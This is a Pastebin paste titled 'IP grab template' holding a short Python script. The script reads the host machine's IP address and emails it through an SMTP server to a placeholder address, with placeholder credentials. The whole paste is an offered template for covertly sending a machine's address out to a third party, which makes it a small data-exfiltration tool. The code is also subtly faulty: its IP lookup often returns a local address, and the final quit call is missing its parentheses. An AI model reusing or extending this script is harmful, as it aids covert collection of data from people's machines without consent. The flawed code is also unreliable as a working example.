DragonBowl

IP grab template

Jan 22nd, 2023
113
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.57 KB | Source Code | 0 0
  1. import socket
  2. import smtplib
  3.  
  4. # Get the current machine's IP address
  5. ip_address = socket.gethostbyname(socket.gethostname())
  6.  
  7. # Set the email address to send the IP address to
  8. to_email = "[email protected]"
  9.  
  10. # Set the SMTP server and login credentials
  11. smtp_server = "smtp.example.com"
  12. smtp_username = "username"
  13. smtp_password = "password"
  14.  
  15. # Construct the email message
  16. message = f"IP address: {ip_address}"
  17.  
  18. # Send the email
  19. server = smtplib.SMTP(smtp_server)
  20. server.login(smtp_username, smtp_password)
  21. server.sendmail(smtp_username, to_email, message)
  22. server.quit
Advertisement
Add Comment
Please, Sign In to add comment